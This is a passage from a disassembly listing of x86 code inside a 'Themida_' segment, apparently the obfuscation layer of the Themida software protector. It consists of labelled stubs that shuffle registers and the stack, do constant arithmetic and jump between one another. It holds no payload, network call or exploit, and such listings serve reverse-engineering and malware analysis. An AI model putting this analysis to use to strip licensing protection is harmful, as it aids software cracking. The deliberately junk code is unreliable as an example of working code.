add ecx, 0FFFFFFD9h
mov edi, ecx
pop ecx
jmp loc_5A5C3A
; ---------------------------------------------------------------------------
loc_596FD2: ; CODE XREF: Themida_:005A7CB0j
sub al, 8Fh
add al, 0EBh
or al, 0C6h
shr al, 3
add al, 0B0h
jmp loc_59B807
; ---------------------------------------------------------------------------
loc_596FE2: ; CODE XREF: Themida_:00597D69j
push esp
mov esi, [esp]
add esp, 4
add esi, 4
sub esi, 4
xchg esi, [esp]
pop esp
mov [esp], esp
jmp loc_5A0EE5
; ---------------------------------------------------------------------------
loc_597001: ; CODE XREF: Themida_:00599E2Aj
xor ecx, [esp]
xor [esp], ecx
jmp loc_59723C
; ---------------------------------------------------------------------------
pop small word ptr [edx]
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_597014: ; CODE XREF: Themida_:00596178j
push dword ptr [esp]
pop ebp
push edi
push 7747h
mov [esp], esp
jmp loc_597ADE
; ---------------------------------------------------------------------------
loc_597026: ; CODE XREF: Themida_:005A0D77j
mov esi, 60262E8Ch
sub eax, 23975B49h
add eax, esi
add eax, 23975B49h
pop esi
pop ecx
jmp loc_5A9284
; ---------------------------------------------------------------------------
loc_59703E: ; CODE XREF: Themida_:0059E50Cj
neg ecx
add ecx, 0BA6BFC4Bh
add eax, ecx
pop ecx
push edi
jmp loc_5A7EBC
; ---------------------------------------------------------------------------
loc_59704F: ; CODE XREF: Themida_:005A09D5j
sub edx, 0C3D80044h
sub esi, 4E946304h
jmp loc_59DE85
; ---------------------------------------------------------------------------
loc_597060: ; CODE XREF: Themida_:005A702Fj
xor ecx, esi
mov esi, [esp]
add esp, 4
sub eax, ecx
pop ecx
xchg eax, [esp]
pop esp
mov [esp], eax
mov eax, 71D45376h
add edx, eax
mov eax, [esp]
push ebp
mov ebp, esp
add ebp, 4
push esi
jmp loc_598F89
; ---------------------------------------------------------------------------
loc_59708E: ; CODE XREF: Themida_:005A4D41j
mov ebp, [esp]
jmp loc_5A008D
; ---------------------------------------------------------------------------
loc_597096: ; CODE XREF: Themida_:005AB2BBj
sub ecx, ebx
push ecx
pop ebx
mov ecx, [esp]
add esp, 4
xor ebx, 0A12BCCC4h
push eax
mov eax, ebx
jmp loc_5A2B42
; ---------------------------------------------------------------------------
loc_5970AE: ; CODE XREF: Themida_:005AB2AEj
add dword ptr [esp], 4
push dword ptr [esp]
pop esi
add esp, 4
sub esp, 4
mov [esp], edx
mov edx, 3EF04C34h
sub edx, 1
add edx, 0C10FB3D1h
add esi, 5C172692h
sub esi, 36C75CE5h
add esi, 50151E70h
jmp loc_5AAB72
; ---------------------------------------------------------------------------
loc_5970E7: ; CODE XREF: Themida_:005A3FB6j
push ebp
mov ebp, esp
add ebp, 4
jmp loc_5A635F
; ---------------------------------------------------------------------------
loc_5970F5: ; CODE XREF: Themida_:0059A4C5j
mov ecx, 20BE240Bh
or ecx, 47823CABh
jmp loc_5A20AE
; ---------------------------------------------------------------------------
loc_597105: ; CODE XREF: Themida_:005A2ACAj
push 5977h
mov [esp], edx
push ecx
mov ecx, 58D631BCh
mov edx, ecx
push dword ptr [esp]
jmp loc_596B7C
; ---------------------------------------------------------------------------
loc_59711D: ; CODE XREF: Themida_:005A1CD9j
pop ebp
pop ebx
jmp loc_5A8A73
; ---------------------------------------------------------------------------
loc_597124: ; CODE XREF: Themida_:005A30EFj
add esp, 4
add edx, ebx
sub edx, 5A950A00h
mov ebx, [esp]
push eax
mov eax, esp
push esi
jmp loc_5A3448
; ---------------------------------------------------------------------------
loc_59713B: ; CODE XREF: Themida_:00599099j
and eax, esi
jmp loc_5A38E7
; ---------------------------------------------------------------------------
loc_597142: ; CODE XREF: Themida_:0059A8B2j
mov ebx, 2586319Dh
jmp loc_5A8F64
; ---------------------------------------------------------------------------
loc_59714C: ; CODE XREF: Themida_:0059ABC2j
xor ecx, [esp]
jmp loc_5A4CE6
; ---------------------------------------------------------------------------
loc_597154: ; CODE XREF: Themida_:00597F3Cj
add edx, esi
pop esi
push edx
push dword ptr [esp+4]
jmp loc_59AF2A
; ---------------------------------------------------------------------------
loc_597161: ; CODE XREF: Themida_:0059A18Bj
pop esi
jmp loc_59D101
; ---------------------------------------------------------------------------
loc_597167: ; CODE XREF: Themida_:005A5448j
pop ebp
xchg ecx, edi
not ecx
xchg ecx, edi
xor edi, 0AE80CEA7h
sub esp, 4
mov [esp], edi
jmp loc_59C5E9
; ---------------------------------------------------------------------------
loc_597182: ; CODE XREF: Themida_:0059641Cj
add esp, 4
xor edi, 0EAAEE223h
add ecx, 2B301F10h
jmp loc_59B552
; ---------------------------------------------------------------------------
loc_597196: ; CODE XREF: Themida_:0059B678j
mov [esp], eax
jmp loc_5A2B58
; ---------------------------------------------------------------------------
loc_59719E: ; CODE XREF: Themida_:005AA804j
mov ebx, 39CECC9h
xor ecx, ebx
mov ebx, [esp]
add esp, 4
sub ebx, 1088059Bh
add ebx, 43314B5Dh
sub ebx, ecx
sub ebx, 43314B5Dh
add ebx, 1088059Bh
pop ecx
push edi
mov edi, 63041DEDh
sub edi, 6E7E00DEh
push 51FFh
mov [esp], ebx
mov ebx, 5B686028h
or ebx, 253F4825h
and ebx, 731241C0h
jmp loc_5A340B
; ---------------------------------------------------------------------------
loc_5971F0: ; CODE XREF: Themida_:0059D651j
add esi, edi
mov edi, [esp]
add esp, 4
xchg esi, [esp]
pop esp
mov ax, [esp]
jmp loc_59F0C1
; ---------------------------------------------------------------------------
loc_597205: ; CODE XREF: Themida_:005A09B7j
mov dh, 0C3h
dec dh
shr dh, 1
add dh, 2Ah
shr dh, 4
jmp loc_5A2BAA
; ---------------------------------------------------------------------------
loc_597216: ; CODE XREF: Themida_:00596B20j
sub dword ptr [esp], 6D59074Bh
sub dword ptr [esp], 2CD30A68h
sub [esp], eax
add dword ptr [esp], 2CD30A68h
push 7FD7h
mov [esp], eax
push ecx
jmp loc_598B26
; ---------------------------------------------------------------------------
loc_59723C: ; CODE XREF: Themida_:00597007j
xor ecx, [esp]
pop esp
mov [esp], edi
push esp
pop edi
push esi
push edx
mov edx, 5812469Fh
shr edx, 3
xor edx, 6A264EDDh
xor edx, 7BAB4605h
sub edx, 0C96DDE8Dh
mov esi, edx
jmp loc_59D32B
; ---------------------------------------------------------------------------
loc_597268: ; CODE XREF: Themida_:0059EF1Ej
pop dword ptr [esp]
pop esp
push edx
jmp loc_59C51E
; ---------------------------------------------------------------------------
loc_597272: ; CODE XREF: Themida_:005A95A7j
add ecx, 4
add ecx, 4
xchg ecx, [esp]
pop esp
add esi, ebx
jmp loc_5A075D
; ---------------------------------------------------------------------------
loc_597289: ; CODE XREF: Themida_:005A0677j
sub edx, 64B907E4h
push esi
mov esi, 1B2402D3h
jmp loc_59993F
; ---------------------------------------------------------------------------
loc_59729A: ; CODE XREF: Themida_:005982F4j
add edi, 1
xor edi, 4A2A5E1Fh
and ebp, edi
pop edi
shr ebp, 8
shr ebp, 2
push edi
sub esp, 4
mov [esp], ecx
mov ecx, 12A3381h
jmp loc_5A10E2
; ---------------------------------------------------------------------------
loc_5972C0: ; CODE XREF: Themida_:0059E45Dj
push edx
push eax
push 5ACB6583h
pop eax
jmp loc_5A2B5F
; ---------------------------------------------------------------------------
loc_5972CD: ; CODE XREF: Themida_:00599B6Cj
push edx
mov edx, 3A8337CFh
sub edx, 124F1AABh
sub ebx, edx
jmp loc_5A255C
; ---------------------------------------------------------------------------
loc_5972E0: ; CODE XREF: Themida_:005A5751j
push ebp
mov ebp, 4576441Ch
sub esi, ebp
jmp loc_5A573D
; ---------------------------------------------------------------------------
loc_5972ED: ; CODE XREF: Themida_:005A9DE6j
sub esp, 4
jmp loc_599EB2
; ---------------------------------------------------------------------------
loc_5972F8: ; CODE XREF: Themida_:005A75A5j
pop esi
add edx, 41C9B96Ah
push edx
pop ebx
mov edx, [esp]
push esi
push esp
pop esi
add esi, 4
push ecx
mov ecx, 4
add esi, ecx
pop ecx
xchg esi, [esp]
pop esp
not ebx
sub esp, 4
mov [esp], esi
sub esp, 4
jmp loc_5991A1
; ---------------------------------------------------------------------------
loc_59732A: ; CODE XREF: Themida_:005A918Cj
mov eax, esp
add eax, 4
jmp loc_59D0D8
; ---------------------------------------------------------------------------
loc_597336: ; CODE XREF: Themida_:005A6F07j
add ebp, 58BF3D25h
pop ebx
xchg ebp, [esp]
jmp loc_59F024
; ---------------------------------------------------------------------------
loc_597345: ; CODE XREF: Themida_:005A8C0Ej
mov ebp, [esp]
add esp, 4
shr eax, 12h
xor eax, ecx
xor eax, edi
jmp loc_5A99C7
; ---------------------------------------------------------------------------
loc_597357: ; CODE XREF: Themida_:005A65C9j
pop ebp
jmp loc_599384
; ---------------------------------------------------------------------------
loc_59735D: ; CODE XREF: Themida_:0059DCDBj
pop ebx
push 0D76h
jmp loc_59FACF
; ---------------------------------------------------------------------------
loc_597368: ; CODE XREF: Themida_:00598398j
xor [esp], esi
xor esi, [esp]
mov esp, [esp]
idiv cx
push eax
mov eax, esp
add eax, 4
sub eax, 4
xchg eax, [esp]
pop esp
mov [esp], eax
mov eax, esp
jmp loc_59767E
; ---------------------------------------------------------------------------
loc_59738D: ; CODE XREF: Themida_:005A6B37j
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_59A4DA
; ---------------------------------------------------------------------------
loc_5973A0: ; CODE XREF: Themida_:005A68F9j
shr edx, 6
add edx, 4E610ACDh
jmp loc_5A6446
; ---------------------------------------------------------------------------
loc_5973AE: ; CODE XREF: Themida_:005A7273j
add edi, 4
xchg edi, [esp]
pop esp
pop edx
sub bl, 0C6h
add bl, ah
add bl, 0C6h
mov eax, [esp]
add esp, 4
push 1B5Ah
mov [esp], edx
mov dl, 0F8h
not dl
add dl, 1
push ax
jmp loc_5A6944
; ---------------------------------------------------------------------------
loc_5973DD: ; CODE XREF: Themida_:0059B081j
push 3080h
mov [esp], eax
jmp loc_597B0C
; ---------------------------------------------------------------------------
loc_5973EA: ; CODE XREF: Themida_:005A9539j
shl edi, 3
push eax
push 279Ch
mov [esp], ecx
jmp loc_59B3DD
; ---------------------------------------------------------------------------
loc_5973FB: ; CODE XREF: Themida_:0059F7FCj
mov [esp], esi
push esp
pop esi
add esi, 4
add esi, 4
jmp loc_599711
; ---------------------------------------------------------------------------
loc_59740E: ; CODE XREF: Themida_:005964F7j
push 0FC8h
mov [esp], ebx
mov ebx, 4
add edx, ebx
pop ebx
push 4F35h
mov [esp], ecx
mov ecx, 2
add edx, 64526EFCh
add edx, 2F963B15h
add edx, ecx
push ebp
mov ebp, 2F963B15h
sub edx, ebp
pop ebp
sub edx, 64526EFCh
mov ecx, [esp]
jmp loc_5A4373
; ---------------------------------------------------------------------------
loc_597450: ; CODE XREF: Themida_:00596BD3j
mov [esp], esi
jmp loc_59F661
; ---------------------------------------------------------------------------
loc_597458: ; CODE XREF: Themida_:0059AB9Cj
mov bl, ch
mov ah, bl
pop ebx
push dword ptr [esp]
pop ecx
push edi
mov edi, esp
push ebp
jmp loc_5A726B
; ---------------------------------------------------------------------------
loc_59746A: ; CODE XREF: Themida_:005A5A9Aj
or edx, 7175797Eh
sub edx, 0A75D36F8h
mov edi, edx
pop edx
push 4B75h
jmp loc_59AD9E
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5AA7CD
; ---------------------------------------------------------------------------
loc_59748C: ; CODE XREF: Themida_:005A1415j
mov ebp, edx
mov edx, [esp]
jmp loc_5A6CDE
; ---------------------------------------------------------------------------
loc_597496: ; CODE XREF: Themida_:0059672Aj
sub esp, 4
mov [esp], ecx
jmp loc_598279
; ---------------------------------------------------------------------------
loc_5974A1: ; CODE XREF: Themida_:005A6F7Dj
add esp, 4
push 33CEh
jmp loc_59E56F
; ---------------------------------------------------------------------------
loc_5974AE: ; CODE XREF: Themida_:005A990Dj
mov eax, [esp]
push ecx
mov ecx, esp
add ecx, 4
add ecx, 4
jmp loc_59B4ED
; ---------------------------------------------------------------------------
loc_5974C2: ; CODE XREF: Themida_:005A1C8Cj
push edx
mov edx, esp
add edx, 4
sub edx, 4
xchg edx, [esp]
pop esp
jmp loc_5A2657
; ---------------------------------------------------------------------------
loc_5974D7: ; CODE XREF: Themida_:005A8BF6j
mov [esp], esi
jmp loc_5A207D
; ---------------------------------------------------------------------------
loc_5974DF: ; CODE XREF: Themida_:0059E138j
add esp, 4
add ebx, ebp
jmp loc_5A0134
; ---------------------------------------------------------------------------
loc_5974E9: ; CODE XREF: Themida_:005A4865j
shl edx, 6
shr edx, 2
or edx, 48293735h
add edx, 0B8025F66h
mov ebx, edx
jmp loc_5A61EB
; ---------------------------------------------------------------------------
loc_597502: ; CODE XREF: Themida_:005A1427j
push 43B51C4Dh
pop ebx
not ebx
jmp loc_59CDEF
; ---------------------------------------------------------------------------
loc_59750F: ; CODE XREF: Themida_:0059DF51j
push eax
mov eax, 0B0C03F6h
sub esi, eax
mov eax, [esp]
add esp, 4
add esi, 0BC8E4B9Ch
jmp loc_59FEAF
; ---------------------------------------------------------------------------
loc_597528: ; CODE XREF: Themida_:0059C519j
mov edi, [esp]
add esp, 4
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
pop esp
jmp loc_5AA814
; ---------------------------------------------------------------------------
mov cx, [esp]
push ebx
push esp
pop ebx
push 4348h
mov [esp], esi
mov esi, 38CF6C0Ah
jmp loc_59774B
; ---------------------------------------------------------------------------
loc_59755F: ; CODE XREF: Themida_:0059FC50j
mov ebp, 20004305h
jmp loc_5A4532
; ---------------------------------------------------------------------------
push dword ptr [esp]
pop ecx
sub esp, 4
jmp loc_5A3B8A
; ---------------------------------------------------------------------------
loc_597578: ; CODE XREF: Themida_:005A3B42j
mov edx, [esp]
add esp, 4
add eax, 56AB2368h
push 553Dh
jmp loc_59D37C
; ---------------------------------------------------------------------------
loc_59758D: ; CODE XREF: Themida_:005AA4B7j
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
and eax, ebx
pop ebx
or eax, eax
jz loc_59D169
push dword ptr [edi+1Ch]
sub esp, 4
mov [esp], edi
push 68A0708Eh
mov edi, [esp]
push edx
mov edx, esp
add edx, 4
push edi
jmp loc_5A2E12
; ---------------------------------------------------------------------------
loc_5975C8: ; CODE XREF: Themida_:00597F0Aj
add eax, esi
jmp loc_59BE62
; ---------------------------------------------------------------------------
loc_5975CF: ; CODE XREF: Themida_:0059D0CBj
not esi
jmp loc_59C0E7
; ---------------------------------------------------------------------------
mov ax, [esp]
push 7EA5h
mov [esp], edx
mov edx, esp
push 2CDh
mov [esp], ebx
push ecx
push edi
mov edi, 7E28737Bh
jmp loc_59AC2F
; ---------------------------------------------------------------------------
loc_5975F8: ; CODE XREF: Themida_:005A802Bj
add ebx, 4
push ebp
push edi
push 7E001082h
pop edi
jmp loc_5A5BC7
; ---------------------------------------------------------------------------
loc_59760B: ; CODE XREF: Themida_:005A252Fj
add esp, 4
not cl
jmp loc_59D249
; ---------------------------------------------------------------------------
loc_597618: ; CODE XREF: Themida_:00599FC5j
push 0C4Ch
mov [esp], edx
mov edx, esp
sub esp, 4
mov [esp], edi
push edx
jmp loc_5AA3ED
; ---------------------------------------------------------------------------
loc_59762E: ; CODE XREF: Themida_:00599822j
push 47FAh
mov [esp], esp
add dword ptr [esp], 4
pop esi
push edi
push esp
pop edi
add edi, 4
sub edi, 4
xchg edi, [esp]
pop esp
mov [esp], edi
jmp loc_59B107
; ---------------------------------------------------------------------------
loc_597659: ; CODE XREF: Themida_:005A89D0j
xor eax, 78C46AE9h
jmp loc_59F615
; ---------------------------------------------------------------------------
loc_597663: ; CODE XREF: Themida_:005A1BDDj
mov ebx, 65BC58CDh
jmp loc_5AA6A7
; ---------------------------------------------------------------------------
loc_59766D: ; CODE XREF: Themida_:0059A6F3j
add bl, ch
pop cx
sub esp, 4
mov [esp], eax
mov al, 85h
jmp loc_59A771
; ---------------------------------------------------------------------------
loc_59767E: ; CODE XREF: Themida_:00597388j
push 1CECh
mov [esp], ecx
mov ecx, 57581572h
xor ecx, 57581576h
add eax, 3A867572h
push ebx
mov ebx, 688631B4h
sub ebx, 213D0924h
sub eax, ebx
pop ebx
add eax, 740F625Eh
add eax, ecx
sub eax, 740F625Eh
jmp loc_5A6DF3
; ---------------------------------------------------------------------------
loc_5976B6: ; CODE XREF: Themida_:005A40FCj
push 54F7h
mov [esp], ebp
jmp loc_597D4A
; ---------------------------------------------------------------------------
loc_5976C3: ; CODE XREF: Themida_:005A6B0Cj
push ebx
mov ebx, 0A394F5F2h
sub edi, ebx
pop ebx
mov eax, edi
jmp loc_59D81A
; ---------------------------------------------------------------------------
loc_5976D3: ; CODE XREF: Themida_:0059BB78j
add ebx, 4
jmp loc_599180
; ---------------------------------------------------------------------------
loc_5976DE: ; CODE XREF: Themida_:005A43A5j
add esp, 4
push dword ptr [esp]
pop edi
push ecx
mov ecx, esp
jmp loc_59AC05
; ---------------------------------------------------------------------------
loc_5976F0: ; CODE XREF: Themida_:005A2E2Dj
mov ebx, edx
push dword ptr [esp]
pop edx
jmp loc_596F35
; ---------------------------------------------------------------------------
loc_5976FB: ; CODE XREF: Themida_:005A6E71j
xchg esi, [esp]
pop esp
mov [esp], esi
push ebx
mov ebx, esp
add ebx, 4
sub ebx, 4
jmp loc_5AB2A7
; ---------------------------------------------------------------------------
loc_597716: ; CODE XREF: Themida_:0059AD84j
pop edi
push edx
jmp loc_599F09
; ---------------------------------------------------------------------------
loc_59771D: ; CODE XREF: Themida_:0059D3B6j
push 743Ah
jmp loc_599EBF
; ---------------------------------------------------------------------------
loc_597727: ; CODE XREF: Themida_:005A02A5j
push eax
mov eax, 42A73475h
add edi, eax
pop eax
pop ebp
sub edi, ecx
add edi, 712C2701h
pop ecx
xchg edi, [esp]
mov esp, [esp]
mov [esp], ebp
mov ebp, esp
push ecx
jmp loc_5A65D7
; ---------------------------------------------------------------------------
loc_59774B: ; CODE XREF: Themida_:0059755Aj
not esi
xchg ebp, esi
not ebp
jmp loc_5A324B
; ---------------------------------------------------------------------------
loc_597756: ; CODE XREF: Themida_:0059E6F3j
mov [esp], ebp
not dword ptr [esp]
jmp loc_59C452
; ---------------------------------------------------------------------------
loc_597761: ; CODE XREF: Themida_:0059A843j
push eax
mov al, 0A1h
and al, 22h
xor al, 0E5h
xor bl, al
pop eax
jmp loc_59AF5E
; ---------------------------------------------------------------------------
loc_597770: ; CODE XREF: Themida_:00598D9Aj
add esp, 4
add ebx, 4
push edi
jmp loc_5A9D9E
; ---------------------------------------------------------------------------
loc_59777F: ; CODE XREF: Themida_:0059C41Dj
pop eax
add esp, 4
push 41ABh
mov [esp], edi
push 5715h
mov [esp], ecx
push 6601507Bh
jmp loc_59B835
; ---------------------------------------------------------------------------
loc_59779D: ; CODE XREF: Themida_:005A6B28j
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
imul ecx, eax
push ecx
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5977B0: ; CODE XREF: Themida_:005AB18Bj
mov esi, 147918C3h
inc esi
inc esi
neg esi
add esi, 1B146277h
xor esi, 22D116CFh
mov eax, esi
jmp loc_59EBCB
; ---------------------------------------------------------------------------
loc_5977CC: ; CODE XREF: Themida_:0059D94Cj
push ebx
mov ebx, esp
jmp loc_5A48D6
; ---------------------------------------------------------------------------
loc_5977D4: ; CODE XREF: Themida_:005A6EBBj
or ebp, 3DEC1F6Eh
xor ebp, 2DAC3B49h
xor esi, ebp
pop ebp
push edx
mov edx, 0ADBFFB7Dh
add esi, edx
pop edx
jmp loc_5A6311
; ---------------------------------------------------------------------------
loc_5977F1: ; CODE XREF: Themida_:005A0145j
push edi
mov edi, esp
jmp loc_5A0CB1
; ---------------------------------------------------------------------------
loc_5977F9: ; CODE XREF: Themida_:00596EE7j
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5977FE: ; CODE XREF: Themida_:005A3603j
mov esp, [esp]
jmp loc_59C103
; ---------------------------------------------------------------------------
loc_597806: ; CODE XREF: Themida_:005AA748j
pop ebp
xor edx, [esp]
xor [esp], edx
jmp loc_59B922
; ---------------------------------------------------------------------------
loc_597812: ; CODE XREF: Themida_:005AACC2j
pop ebx
pop ecx
jmp loc_59A82C
; ---------------------------------------------------------------------------
loc_597819: ; CODE XREF: Themida_:0059C355j
pop ecx
mov edi, [esp]
push esi
jmp loc_5A3DFF
; ---------------------------------------------------------------------------
loc_597823: ; CODE XREF: Themida_:00596361j
mov esi, 67315BB4h
add edx, esi
jmp loc_599874
; ---------------------------------------------------------------------------
loc_59782F: ; CODE XREF: Themida_:005A6E53j
add esp, 4
sub ebp, 4
xchg ebp, [esp]
jmp loc_5A8C89
; ---------------------------------------------------------------------------
loc_59783D: ; CODE XREF: Themida_:0059B2FBj
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_597842: ; CODE XREF: Themida_:005A160Ej
xor edi, [esp]
xor [esp], edi
xor edi, [esp]
mov esp, [esp]
jmp loc_5991DA
; ---------------------------------------------------------------------------
loc_597853: ; CODE XREF: Themida_:005A5432j
sub edx, 0BB72E339h
mov edi, edx
jmp loc_5A3D54
; ---------------------------------------------------------------------------
loc_597860: ; CODE XREF: Themida_:005A3388j
add esp, 4
add ecx, 4
sub ecx, 4
jmp loc_5A78C9
; ---------------------------------------------------------------------------
loc_597877: ; CODE XREF: Themida_:00596442j
mov esi, [esp]
add esp, 4
sub eax, ebx
push ebx
jmp loc_5A9A9B
; ---------------------------------------------------------------------------
loc_597885: ; CODE XREF: Themida_:005A83AEj
sub eax, 5DA70336h
push edi
jmp loc_59DB20
; ---------------------------------------------------------------------------
loc_597890: ; CODE XREF: Themida_:0059FE63j
xor [esp], eax
jmp loc_5A6D3E
; ---------------------------------------------------------------------------
loc_597898: ; CODE XREF: Themida_:005A4787j
sub esi, ecx
jmp loc_59E8C8
; ---------------------------------------------------------------------------
loc_59789F: ; CODE XREF: Themida_:005A5B21j
mov esp, [esp]
sar dword ptr [esp], cl
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_5978AB: ; CODE XREF: Themida_:0059C724j
mov dx, 1F34h
add bx, dx
mov dx, [esp]
add esp, 2
sub esp, 2
mov [esp], dx
jmp loc_59A6FE
; ---------------------------------------------------------------------------
loc_5978C8: ; CODE XREF: Themida_:005A173Dj
add al, bl
jmp loc_5A74D5
; ---------------------------------------------------------------------------
loc_5978CF: ; CODE XREF: Themida_:0059DD5Ej
push edi
mov edi, 0AF69F16Dh
add esi, edi
pop edi
xor eax, esi
pop esi
add esi, 3FFF1033h
add esi, eax
sub esi, 3FFF1033h
mov eax, [esp]
add esp, 4
push ecx
push esi
mov esi, 4
mov ecx, esi
mov esi, [esp]
add esp, 4
sub esi, ecx
pop ecx
push 3ED3h
mov [esp], esi
jmp loc_5AA3F7
; ---------------------------------------------------------------------------
loc_597914: ; CODE XREF: Themida_:0059C9CCj
add edx, ebp
jmp loc_59E159
; ---------------------------------------------------------------------------
loc_59791B: ; CODE XREF: Themida_:005A926Ej
mov [esp], esp
jmp loc_59948C
; ---------------------------------------------------------------------------
loc_597923: ; CODE XREF: Themida_:00596EC4j
pop esi
push eax
mov eax, esp
jmp loc_5979E4
; ---------------------------------------------------------------------------
loc_59792C: ; CODE XREF: Themida_:005A2B35j
add ebp, 4
add ebp, 4
xchg ebp, [esp]
jmp loc_5A26C2
; ---------------------------------------------------------------------------
loc_597940: ; CODE XREF: Themida_:005A5FE0j
pop ebp
xor ebx, eax
jmp loc_59D947
; ---------------------------------------------------------------------------
loc_597948: ; CODE XREF: Themida_:0059DB3Aj
mov ebp, [esp]
add esp, 4
jmp loc_596E6A
; ---------------------------------------------------------------------------
loc_597953: ; CODE XREF: Themida_:005A9789j
pop esp
or edx, eax
jmp loc_5A94A7
; ---------------------------------------------------------------------------
loc_59795B: ; CODE XREF: Themida_:005A2DD3j
add dh, 52h
mov ebx, [esp]
jmp loc_59AD59
; ---------------------------------------------------------------------------
loc_597966: ; CODE XREF: Themida_:005A518Aj
and ecx, 4AF901AFh
xor ecx, 406E5682h
mov ebp, ecx
mov ecx, [esp]
push edx
mov edx, esp
add edx, 4
add edx, 4
xchg edx, [esp]
mov esp, [esp]
push edi
push ebp
jmp loc_5A8F5A
; ---------------------------------------------------------------------------
loc_597993: ; CODE XREF: Themida_:0059A2C6j
mov esp, [esp]
jmp loc_59DDEE
; ---------------------------------------------------------------------------
loc_59799B: ; CODE XREF: Themida_:0059C98Cj
pop eax
push edx
jmp loc_5A93D0
; ---------------------------------------------------------------------------
loc_5979A2: ; CODE XREF: Themida_:005A041Fj
push eax
mov eax, 4
mov esi, eax
jmp loc_5A96C5
; ---------------------------------------------------------------------------
loc_5979AF: ; CODE XREF: Themida_:005A5730j
mov edi, [esp]
add esp, 4
add eax, 79932254h
sub eax, ebp
sub eax, 79932254h
mov ebp, [esp]
push 266Ah
mov [esp], ecx
push esp
pop ecx
push ebx
jmp loc_5A5A9F
; ---------------------------------------------------------------------------
loc_5979D4: ; CODE XREF: Themida_:005A05ACj
mov [esp], eax
mov eax, 4
add ebp, eax
pop eax
jmp loc_5A825F
; ---------------------------------------------------------------------------
loc_5979E4: ; CODE XREF: Themida_:00597927j
add eax, 4
push ebp
mov ebp, 4
add eax, 741E362Ch
jmp loc_5A6C62
; ---------------------------------------------------------------------------
loc_5979F9: ; CODE XREF: Themida_:005A30B6j
mov [esp], ebp
pop dword ptr [edi+24h]
jmp loc_59DDC6
; ---------------------------------------------------------------------------
loc_597A04: ; CODE XREF: Themida_:005A7EF9j
pop ebp
and esi, ecx
pop ecx
shl esi, 7
jmp loc_5AA44E
; ---------------------------------------------------------------------------
loc_597A10: ; CODE XREF: Themida_:00597DECj
mov eax, 6F41568h
sub ebx, eax
mov eax, [esp]
add esp, 4
add ebx, 6F720093h
sub ebx, ecx
push ecx
mov ecx, 6F720093h
sub ebx, ecx
jmp loc_59F2D5
; ---------------------------------------------------------------------------
loc_597A32: ; CODE XREF: Themida_:00596932j
mov ax, [esp]
jmp loc_5A8CD4
; ---------------------------------------------------------------------------
loc_597A3B: ; CODE XREF: Themida_:0059DB0Dj
push ebx
push edx
mov edx, 785C1C07h
jmp loc_59B703
; ---------------------------------------------------------------------------
loc_597A47: ; CODE XREF: Themida_:00595E8Ej
mov dh, 65h
xor dh, 1Ah
xor dh, 11h
add al, 0E4h
sub al, dh
jmp loc_5AA49F
; ---------------------------------------------------------------------------
loc_597A58: ; CODE XREF: Themida_:00598EAFj
push edi
mov edi, esp
jmp loc_59F643
; ---------------------------------------------------------------------------
loc_597A60: ; CODE XREF: Themida_:00598EF9j
push ebp
mov ebp, 0DA0D22AEh
add ebx, ebp
pop ebp
sub esp, 4
mov [esp], ebp
sub esp, 4
mov [esp], esi
push 1CDD792Ah
pop esi
neg esi
shr esi, 6
jmp loc_5A03D0
; ---------------------------------------------------------------------------
loc_597A85: ; CODE XREF: Themida_:00596F9Bj
and ebx, 0B27127Fh
jmp loc_59FC8B
; ---------------------------------------------------------------------------
loc_597A90: ; CODE XREF: Themida_:0059A8EAj
pop esi
push ebp
push ecx
push 2EE025D6h
pop ecx
add ecx, 1FB50553h
sub ecx, 23D74404h
sub ecx, 0D24BAAFh
mov ebp, ecx
pop ecx
and ebp, 71250AB9h
xor ebp, 7FC70486h
jmp loc_59904B
; ---------------------------------------------------------------------------
loc_597ABF: ; CODE XREF: Themida_:005A447Dj
sub esp, 4
mov [esp], ecx
mov ecx, 2F451E61h
jmp loc_5AB197
; ---------------------------------------------------------------------------
loc_597AD2: ; CODE XREF: Themida_:005988E9j
xchg ecx, [esp]
pop esp
sub esp, 4
jmp loc_5983A5
; ---------------------------------------------------------------------------
loc_597ADE: ; CODE XREF: Themida_:00597021j
add dword ptr [esp], 4
pop edi
add edi, 4
add edi, 4
push edi
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
pop esp
push eax
mov eax, esp
add eax, 4
sub eax, 4
jmp loc_59DED1
; ---------------------------------------------------------------------------
loc_597B0C: ; CODE XREF: Themida_:005973E5j
push ebx
push 7FB60F5h
push dword ptr [esp]
pop ebx
jmp loc_59B988
; ---------------------------------------------------------------------------
push dword ptr [edi+1Ch]
popf
pop ax
adc [esp], ax
pushf
jmp loc_595E8C
; ---------------------------------------------------------------------------
loc_597B2B: ; CODE XREF: Themida_:005A7F86j
mov [esp], eax
mov al, 76h
and al, 4Fh
push bx
mov bh, 92h
jmp loc_5A2AAB
; ---------------------------------------------------------------------------
loc_597B3B: ; CODE XREF: Themida_:005A917Cj
xchg ecx, [esp]
pop esp
jmp loc_59C292
; ---------------------------------------------------------------------------
loc_597B44: ; CODE XREF: Themida_:0059C20Aj
mov dh, 2Dh
xor dh, 0ACh
inc dh
add dh, 0AEh
sub bl, dh
jmp loc_5A9C27
; ---------------------------------------------------------------------------
loc_597B55: ; CODE XREF: Themida_:0059A031j
mov ebp, 4
add esi, 511D344Fh
jmp loc_5A9848
; ---------------------------------------------------------------------------
loc_597B65: ; CODE XREF: Themida_:0059DC22j
mov ecx, [esp]
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
mov esp, [esp]
jmp loc_5A9912
; ---------------------------------------------------------------------------
loc_597B82: ; CODE XREF: Themida_:005A2115j
add ebx, 97B69BB6h
sub ecx, 44E866E6h
add ecx, ebx
jmp loc_59C99D
; ---------------------------------------------------------------------------
loc_597B95: ; CODE XREF: Themida_:005A694Aj
and dl, 0E6h
inc dl
sub dl, 23h
jmp loc_59A291
; ---------------------------------------------------------------------------
push dword ptr [edi+38h]
push 2986h
mov [esp], esi
push eax
mov eax, 224C45D6h
shl eax, 8
sub eax, 0FFFFFFFFh
add eax, 1
push ebx
mov ebx, 0CE91BE0Bh
sub eax, ebx
